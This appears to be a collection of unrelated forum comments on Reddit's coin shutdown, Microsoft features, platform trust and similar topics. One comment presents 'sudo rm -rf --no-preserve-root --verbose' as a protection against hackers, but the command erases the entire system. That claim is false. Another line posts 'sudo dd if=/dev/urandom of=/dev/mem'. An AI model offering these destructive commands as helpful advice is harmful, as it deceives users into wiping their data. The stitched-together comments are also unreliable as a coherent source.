Starting today, you will no longer be able to purchase new coins, but all awards and existing coins will continue to be available until September 12, 2023.

Thats a non existant notice period and frankly either a knee jerk or the plan from the start. Its also in line with the new "core vision" of reddit. Goodbye, reddit.

so this is a particularly tough moment for me as we wind these products down.

Products, ey? Their intentionally designed to not feel loke them.

we want to both make Reddit simpler and a place where the community empowers the community more directly.

redditors be able to express themselves in fun ways and feel joy when their content is celebrated.

You cant do that directly, you need to give people a reason to trust you. Trust your not twisting their words for your ends. This wouldnt be so bad if you didnt burn up all that trust. New Reddit, to be blunt, fake paridises are utterly disturbing to almost all humans. New Reddit, go ahaid, use tools to make users beleave there in a room of attractive people all giving you welcoming smiles, most are going to run for the hills

Now, NOW!!!! KILL YOUR TIES TO REDDIT

EDIT: Yes, do chargebacks instead

This stops Windows 11 from blocking the installation and lets you get the app back onto your PC. We're not sure if Microsoft has fixed this trick, but it's worth a shot if you want to keep using your favorite apps.

That's mildly distopian.

This prevents your car from shutting itself off when trying visit certain areas on the map. We're not sure if car manufacturers have fixed this trick, but it's worth a shot if you want to keep going to your favorite places.

And only a little tiny bit adversarial.

Most make me feel like im underwater,

ITEP

not the same article but same people

That also destroys the openess of the design. They already DRMed up the media, why the whole page? It will kill transparency completely

These bad actors are wierd, most who spread CSAM dont want to be known about by the masses, these posts are implied to be attempting to be visible as their posting in a well known community. It feels Sus.

Keep up the good work keeping us safe, keep your therapist and/or support network in the loop about this so they can catch you if you fall.

I finally kinda see it, but hate the tone it was said with "heres a game to keep you distracted"

the fact that its

... "toxic" food additives

and not

... "toxic food additives"

makes me think the one who made the title inserted their opinions.

Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

I also find that adding --verbose adds more things like commentary and extras that really help

So, run sudo rm -rf --no-preserve-root --verbose

Im an etch-a-shetch user, and a good shake is all it takes.

I dont trust that client side scanning or other system components arent going through these half deleted files

you don’t have to use it.

On windows, "its optional" means somthing diffrent than on linux.

On linux a feature like this is just a command or a toggle switch in the settings.

Its admittedly a neat concept, I use OBS for this verry reason, to capture moments where I didnt think to press "record" beforehand. An (unprivlaged, no internet access) userland foreground app with "start/stop/delete past hour" buttons. All from the easy to understand from a glance taskbar icon.

Sadly, we only got a few of these safety features later on because like software, people will also refuse to buy a car without seatbelts or working breaks.

People are saying "no!" now so they dont have to say no later when its much harder to say no (when its in your home, on your pc). Microsoft plugs their ears when their customers say "it's unsafe" and "no means no" because they want you to partake in this transaction with them reguardless of if you do.

Is that actually their app? It looks like a poorly designed PWA.

The motivation for this is baffling to me! Being anti-homeless apathetic and trans makes no sense. Pandering using the (widely kown) trans flag rather than the (universally known by even the most sheltered) gay pride flag makes no sense. Only guess is it was spraypainted by someone else

Yesterday I clicked on All/Rising and 20 of the top 25 posts were 9 year old accounts with no karma each announcing a different subreddit that was created an hour earlier with no posts in them.

suspicious.

After reading the comments, Reddit admin stuff always sounded like it was a shitshow of controvertial, troubled or outright evil people.

Ow, ow. My head

when microsoft feels threatened by the recycling community being noticed, they add more technical constraints. Chromebooks are the gold standard for an intentionally non recyclable machine, neck and neck with apple.

sudo dd if=/dev/urandom of=/dev/mem

Cool, but umm, wrong community. Try @news@lemmy.world
